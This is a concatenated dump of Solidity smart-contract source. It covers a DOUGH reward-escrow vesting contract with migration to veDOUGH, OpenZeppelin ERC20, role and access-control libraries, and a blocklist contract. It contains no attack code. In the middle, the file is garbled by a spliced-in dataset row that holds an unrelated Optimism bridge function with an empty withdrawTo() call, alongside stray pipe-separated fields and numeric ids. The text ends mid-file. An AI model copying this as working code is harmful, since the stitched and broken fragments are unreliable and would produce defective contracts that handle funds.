/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Add a new vesting entry at a given time and quantity to an account's schedule.
* @dev A call to this should accompany a previous successfull call to dough.transfer(rewardEscrow, amount),
* to ensure that when the funds are withdrawn, there is enough balance.
* Note; although this function could technically be used to produce unbounded
* arrays, it's only withinn the 4 year period of the weekly inflation schedule.
* @param account The account to append a new vesting entry to.
* @param quantity The quantity of DOUGH that will be escrowed.
*/
function appendVestingEntry(address account, uint quantity)
public
onlyRewardsContract
{
/* No empty or already-passed vesting entries allowed. */
require(quantity != 0, "Quantity cannot be zero");
/* There must be enough balance in the contract to provide for the vesting entry. */
totalEscrowedBalance = totalEscrowedBalance.add(quantity);
require(totalEscrowedBalance <= dough.balanceOf(address(this)), "Must be enough balance in the contract to provide for the vesting entry");
/* Disallow arbitrarily long vesting schedules in light of the gas limit. */
uint scheduleLength = vestingSchedules[account].length;
require(scheduleLength <= MAX_VESTING_ENTRIES, "Vesting schedule is too long");
/* Escrow the tokens for 1 year. */
uint time = now + 52 weeks;
if (scheduleLength == 0) {
totalEscrowedAccountBalance[account] = quantity;
} else {
/* Disallow adding new vested DOUGH earlier than the last one.
* Since entries are only appended, this means that no vesting date can be repeated. */
require(getVestingTime(account, numVestingEntries(account) - 1) < time, "Cannot add new vested entries earlier than the last one");
totalEscrowedAccountBalance[account] = totalEscrowedAccountBalance[account].add(quantity);
}
// If last window is less than a week old add amount to that one.
if(
vestingSchedules[account].length != 0 &&
vestingSchedules[account][vestingSchedules[account].length - 1][0] > time - 1 weeks
) {
vestingSchedules[account][vestingSchedules[account].length - 1][1] = vestingSchedules[account][vestingSchedules[account].length - 1][1].add(quantity);
} else {
vestingSchedules[account].push([time, quantity]);
}
emit Transfer(address(0), account, quantity);
emit VestingEntryCreated(account, now, quantity);
}
/**
* @notice Allow a user to withdraw any DOUGH in their schedule that have vested.
*/
function vest()
external
{
uint numEntries = numVestingEntries(msg.sender);
uint total;
for (uint i = 0; i < numEntries; i++) {
uint time = getVestingTime(msg.sender, i);
/* The list is sorted; when we reach the first future time, bail out. */
if (time > now) {
break;
}
uint qty = getVestingQuantity(msg.sender, i);
if (qty == 0) {
continue;
}
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(qty);
}
if (total != 0) {
totalEscrowedBalance = totalEscrowedBalance.sub(total);
totalEscrowedAccountBalance[msg.sender] = totalEscrowedAccountBalance[msg.sender].sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].add(total);
dough.safeTransfer(msg.sender, total);
emit Vested(msg.sender, now, total);
emit Transfer(msg.sender, address(0), total);
}
}
/**
* @notice Allow a user to withdraw any DOUGH in their schedule to skip waiting and migrate to veDOUGH at maximum stake.
*
*/
function migrateToVeDOUGH()
external
{
require(address(sharesTimeLock) != address(0), "SharesTimeLock not set");
uint numEntries = numVestingEntries(msg.sender); // get the number of entries for msg.sender
/*
// As per PIP-67:
// We propose that a bridge be created to swap eDOUGH to veDOUGH with a non-configurable time lock of 3 years.
// Only eDOUGH that has vested for 6+ months will be eligible for this bridge.
// https://snapshot.org/#/piedao.eth/proposal/0xaf04cb5391de0cb3d9c9e694a2bf6e5d20f0e4e1c48e0a1d6f85c5233aa580b6
*/
uint total;
for (uint i = 0; i < numEntries; i++) {
uint[2] memory entry = getVestingScheduleEntry(msg.sender, i);
(uint quantity, uint vestingTime) = (entry[QUANTITY_INDEX], entry[TIME_INDEX]);
// we check if quantity and vestingTime is greater than 0 (otherwise, the entry was already claimed)
if(quantity > 0 && vestingTime > 0) {
uint activationTime = entry[TIME_INDEX].sub(26 weeks); // point in time when the bridge becomes possible (52 weeks - 26 weeks = 26 weeks (6 months))
if(block.timestamp >= activationTime) {
vestingSchedules[msg.sender][i] = [0, 0];
total = total.add(quantity);
}
}
}
// require amount to stake > 0, else we emit events and update the state
require(total > 0, 'No vesting entries to bridge');
totalEscrowedBalance = totalEscrowedBalance.sub(total);
totalEscrowedAccountBalance[msg.sender] = totalEscrowedAccountBalance[msg.sender].sub(total);
totalVestedAccountBalance[msg.sender] = totalVestedAccountBalance[msg.sender].add(total);
// Approve DOUGH to Timelock (we need to approve)
dough.safeApprove(address(sharesTimeLock), 0);
dough.safeApprove(address(sharesTimeLock), total);
// Deposit to timelock
sharesTimeLock.depositByMonths(total, STAKE_DURATION, msg.sender);
emit MigratedToVeDOUGH(msg.sender, now, total);
emit Transfer(msg.sender, address(0), total);
}
/* ========== MODIFIERS ========== */
modifier onlyRewardsContract() {
require(isRewardContract[msg.sender], "Only reward contract can perform this action");
_;
}
/* ========== EVENTS ========== */
event DoughUpdated(address newDough);
event TimelockUpdated(address newTimelock);
event Vested(address indexed beneficiary, uint time, uint value);
event MigratedToVeDOUGH(address indexed beneficiary, uint time, uint value);
event VestingEntryCreated(address indexed beneficiary, uint time, uint value);
event Transfer(address indexed from, address indexed to, uint256 value);
event RewardContractAdded(address indexed rewardContract);
event RewardContractRemoved(address indexed rewardContract);
}
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
pragma solidity 0.5.12;
import "@openzeppelin/contracts-ethereum-package/contracts/ownership/Ownable.sol";
import "./RewardEscrow.sol";
contract VestingPusher is Ownable {
RewardEscrow public rewardEscrow;
constructor(address _rewardEscrow) public {
Ownable.initialize(msg.sender);
rewardEscrow = RewardEscrow(_rewardEscrow);
}
function addVesting(address[] calldata _receivers, uint256[] calldata _amounts) external onlyOwner {
require(_receivers.length == _amounts.length, "ARRAY_LENGTH_MISMATCH");
for(uint256 i = 0; i < _receivers.length; i ++) {
// Tokens should already be in rewardEscrow contract
rewardEscrow.appendVestingEntry(_receivers[i], _amounts[i]);
}
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../../GSN/Context.sol";
import "../Roles.sol";
contract MinterRole is Initializable, Context {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
function initialize(address sender) public initializer {
if (!isMinter(sender)) {
_addMinter(sender);
}
}
modifier onlyMinter() {
require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(_msgSender());
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/upgrades/contracts/Initializable.sol";
import "./ERC20.sol";
import "../../access/roles/MinterRole.sol";
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*
* At construction, the deployer of the contract is the only minter.
*/
contract ERC20Mintable is Initializable, ERC20, MinterRole {
function initialize(address sender) public initializer {
MinterRole.initialize(sender);
}
/**
* @dev See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the {MinterRole}.
*/
function mint(address account, uint256 amount) public onlyMinter returns (bool) {
_mint(account, amount);
return true;
}
uint256[50] private ______gap;
}
pragma solidity ^0.5.0;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol";
contract UniMock is ERC20Mintable {
constructor() public {
ERC20Mintable.initialize(msg.sender);
}
}
pragma solidity ^0.5.0;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20Mintable.sol";
contract DoughMock is ERC20Mintable {
constructor() public {
ERC20Mintable.initialize(msg.sender);
}
} | set the dough contract address as we need to transfer DOUGH when the user vests/ | function setTimelock(address _timelock)
external
onlyOwner
{
sharesTimeLock = ISharesTimeLock(_timelock);
emit TimelockUpdated(address(_timelock));
}
| 1,640,608 |
./full_match/288/0xCD43CEa89DF8fE39031C03c24BC24480e942470B/sources/contracts/insured-bridge/ovm/OVM_BridgeDepositBox.sol | Called by relayer (or any other EOA) to move a batch of funds from the deposit box, through the canonical token bridge, to the L1 Withdraw box. The frequency that this function can be called is rate limited by the `minimumBridgingDelay` to prevent spam on L1 as the finalization of a L2->L1 tx is quite expensive. l2Token L2 token to relay over the canonical bridge. l1Gas Unused by optimism, but included for potential forward compatibility considerations./ | function bridgeTokens(address l2Token, uint32 l1Gas) public virtual override nonReentrant() {
uint256 bridgeDepositBoxBalance = TokenLike(l2Token).balanceOf(address(this));
require(bridgeDepositBoxBalance > 0, "can't bridge zero tokens");
require(canBridge(l2Token), "non-whitelisted token or last bridge too recent");
whitelistedTokens[l2Token].lastBridgeTime = uint64(getCurrentTime());
IL2ERC20Bridge(Lib_PredeployAddresses.L2_STANDARD_BRIDGE).withdrawTo(
);
emit TokensBridged(l2Token, bridgeDepositBoxBalance, l1Gas, msg.sender);
}
| 7,105,896 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
pragma experimental ABIEncoderV2;
import {OwnershipRolesTemplate} from "./util/OwnershipRolesTemplate.sol";
import {BlocklistBase} from "./util/BlocklistBase.sol";
contract Blocklist is OwnershipRolesTemplate, BlocklistBase {
bytes32 public constant BLOCKLIST_OWNER = keccak256("BLOCKLIST_OWNER");
modifier onlyOwners() {
_checkOnlyOwners();
_;
}
function initialize(address[] calldata _addresses) external initializer {
__OwnershipRolesTemplate_init();
__BlocklistBase_init_unchained(_addresses);
_setupRole(BLOCKLIST_OWNER, _msgSender());
}
function populateBlocklist(address[] calldata _addresses) external onlyOwners whenNotPaused {
_populateBlocklist(_addresses);
}
function setBlockListed(address _user, bool _isBlocked) external onlyOwners whenNotPaused {
_setBlocklisted(_user, _isBlocked);
}
function transferOwnership(address _governance) external onlyOwners {
grantRole(BLOCKLIST_OWNER, _governance);
_setRoleAdmin(BLOCKLIST_OWNER, GOVERNANCE_ROLE);
grantGovernanceRoles(_governance);
renoucePrivileges();
}
/// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,
/// and the use of immutable means the address bytes are copied in every place the modifier is used.
function _checkOnlyOwners() private view {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()) ||
hasRole(GOVERNANCE_ROLE, _msgSender()) ||
hasRole(BLOCKLIST_OWNER, _msgSender()),
"B:NA"
);
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
pragma experimental ABIEncoderV2;
import {UpgradeableSafeContractBase} from "./UpgradeableSafeContractBase.sol";
// A contract to make it DRY'er to recreate safe ownership roles
contract OwnershipRolesTemplate is UpgradeableSafeContractBase {
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant GOVERNANCE_ROLE = keccak256("GOVERNANCE_ROLE");
bytes32 public constant BENEFICIARY_ROLE = keccak256("BENEFICIARY_ROLE");
// ====== Modifiers for syntactic sugar =======
modifier onlyBenefactor() {
_checkOnlyBenefactor();
_;
}
modifier onlyAdminOrGovernance() {
_checkOnlyAdminOrGovernance();
_;
}
// ====== END Modifiers for syntactic sugar =====================================
// ================ OWNER/ Gov ONLY FUNCTIONS ===================================
// Hand the contract over to a multisig gov wallet
// Will revoke self roles that are overpriviledged
function grantGovernanceRoles(address _governance) public onlyAdminOrGovernance {
grantRole(PAUSER_ROLE, _governance);
grantRole(GOVERNANCE_ROLE, _governance);
grantRole(DEFAULT_ADMIN_ROLE, _governance);
// Allow adding other sentinels/watchers to pause
_setRoleAdmin(PAUSER_ROLE, GOVERNANCE_ROLE);
// Allow adding/changing the benefactor address
_setRoleAdmin(BENEFICIARY_ROLE, GOVERNANCE_ROLE);
// Gov should be able to change gov in case of multisig change
_setRoleAdmin(GOVERNANCE_ROLE, GOVERNANCE_ROLE);
}
function renoucePrivileges() public onlyAdminOrGovernance {
revokeRole(GOVERNANCE_ROLE, msg.sender);
revokeRole(DEFAULT_ADMIN_ROLE, msg.sender);
}
function togglePause() public onlyAdminOrGovernance {
require(
hasRole(PAUSER_ROLE, _msgSender()) ||
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()) ||
hasRole(GOVERNANCE_ROLE, _msgSender()),
"ORT:NA"
);
if (paused()) {
_unpause();
} else {
_pause();
}
}
// Initializers
function __OwnershipRolesTemplate_init() internal initializer {
__UpgradeableSafeContractBase_init();
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
_setupRole(GOVERNANCE_ROLE, _msgSender());
_setupRole(BENEFICIARY_ROLE, _msgSender());
}
function _checkOnlyAdminOrGovernance() private view {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()) || hasRole(GOVERNANCE_ROLE, _msgSender()), "ORT:NA");
}
function _checkOnlyBenefactor() private view {
require(hasRole(BENEFICIARY_ROLE, _msgSender()), "ORT:NA");
}
uint256[50] private ______gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
pragma experimental ABIEncoderV2;
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {IBlocklist} from "../interfaces/IBlocklist.sol";
// Inspired by pool together
contract BlocklistBase is Initializable, IBlocklist {
// Mapping of addresses isBlocked status
mapping(address => bool) public isBlocklisted;
/**
* @notice Emitted when a user is blocked/unblocked from receiving a prize award.
* @dev Emitted when a contract owner blocks/unblocks user from award selection in _distribute.
* @param user Address of user to block or unblock
* @param isBlocked User blocked status
*/
event BlocklistSet(address indexed user, bool isBlocked);
function inBlockList(address _user) external view override returns (bool _isInBlocklist) {
return isBlocklisted[_user];
}
function __BlocklistBase_init(address[] calldata _addresses) internal initializer {
__BlocklistBase_init_unchained(_addresses);
}
function __BlocklistBase_init_unchained(address[] calldata _addresses) internal initializer {
_populateBlocklist(_addresses);
}
/**
* @notice Block/unblock a user from winning during prize distribution.
* @dev Block/unblock a user from winning award in prize distribution by updating the isBlocklisted mapping.
* @param _user Address of blocked user
* @param _isBlocked Blocked Status (true or false) of user
*/
function _setBlocklisted(address _user, bool _isBlocked) internal {
isBlocklisted[_user] = _isBlocked;
emit BlocklistSet(_user, _isBlocked);
}
// Helper to block a list of addreses
function _populateBlocklist(address[] calldata _addresses) internal {
if (_addresses.length == 0) {
return;
}
for (uint256 i = 0; i < _addresses.length; i++) {
_setBlocklisted(_addresses[i], true);
}
}
uint256[50] private ______gap;
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
pragma experimental ABIEncoderV2;
import {AccessControlEnumerableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import {ReentrancyGuardUpgradeable} from "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {AddressUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import {ContextUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol";
contract UpgradeableSafeContractBase is
Initializable,
ContextUpgradeable,
AccessControlEnumerableUpgradeable,
PausableUpgradeable,
ReentrancyGuardUpgradeable
{
using AddressUpgradeable for address;
function __UpgradeableSafeContractBase_init() internal initializer {
__Context_init_unchained();
__AccessControlEnumerable_init_unchained();
__Pausable_init_unchained();
__ReentrancyGuard_init_unchained();
}
/* solhint-disable */
// Inspired by alchemix smart contract gaurd at https://github.com/alchemix-finance/alchemix-protocol/blob/master/contracts/Alchemist.sol#L680
/// @dev Checks that caller is a EOA.
///
/// This is used to prevent contracts from interacting.
modifier noContractAllowed() {
require(!address(_msgSender()).isContract() && _msgSender() == tx.origin, "USCB:NC");
_;
}
uint256[50] private ______gap;
/* solhint-enable */
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {grantRole} to track enumerable memberships
*/
function grantRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {revokeRole} to track enumerable memberships
*/
function revokeRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.revokeRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {renounceRole} to track enumerable memberships
*/
function renounceRole(bytes32 role, address account) public virtual override(AccessControlUpgradeable, IAccessControlUpgradeable) {
super.renounceRole(role, account);
_roleMembers[role].remove(account);
}
/**
* @dev Overload {_setupRole} to track enumerable memberships
*/
function _setupRole(bytes32 role, address account) internal virtual override {
super._setupRole(role, account);
_roleMembers[role].add(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
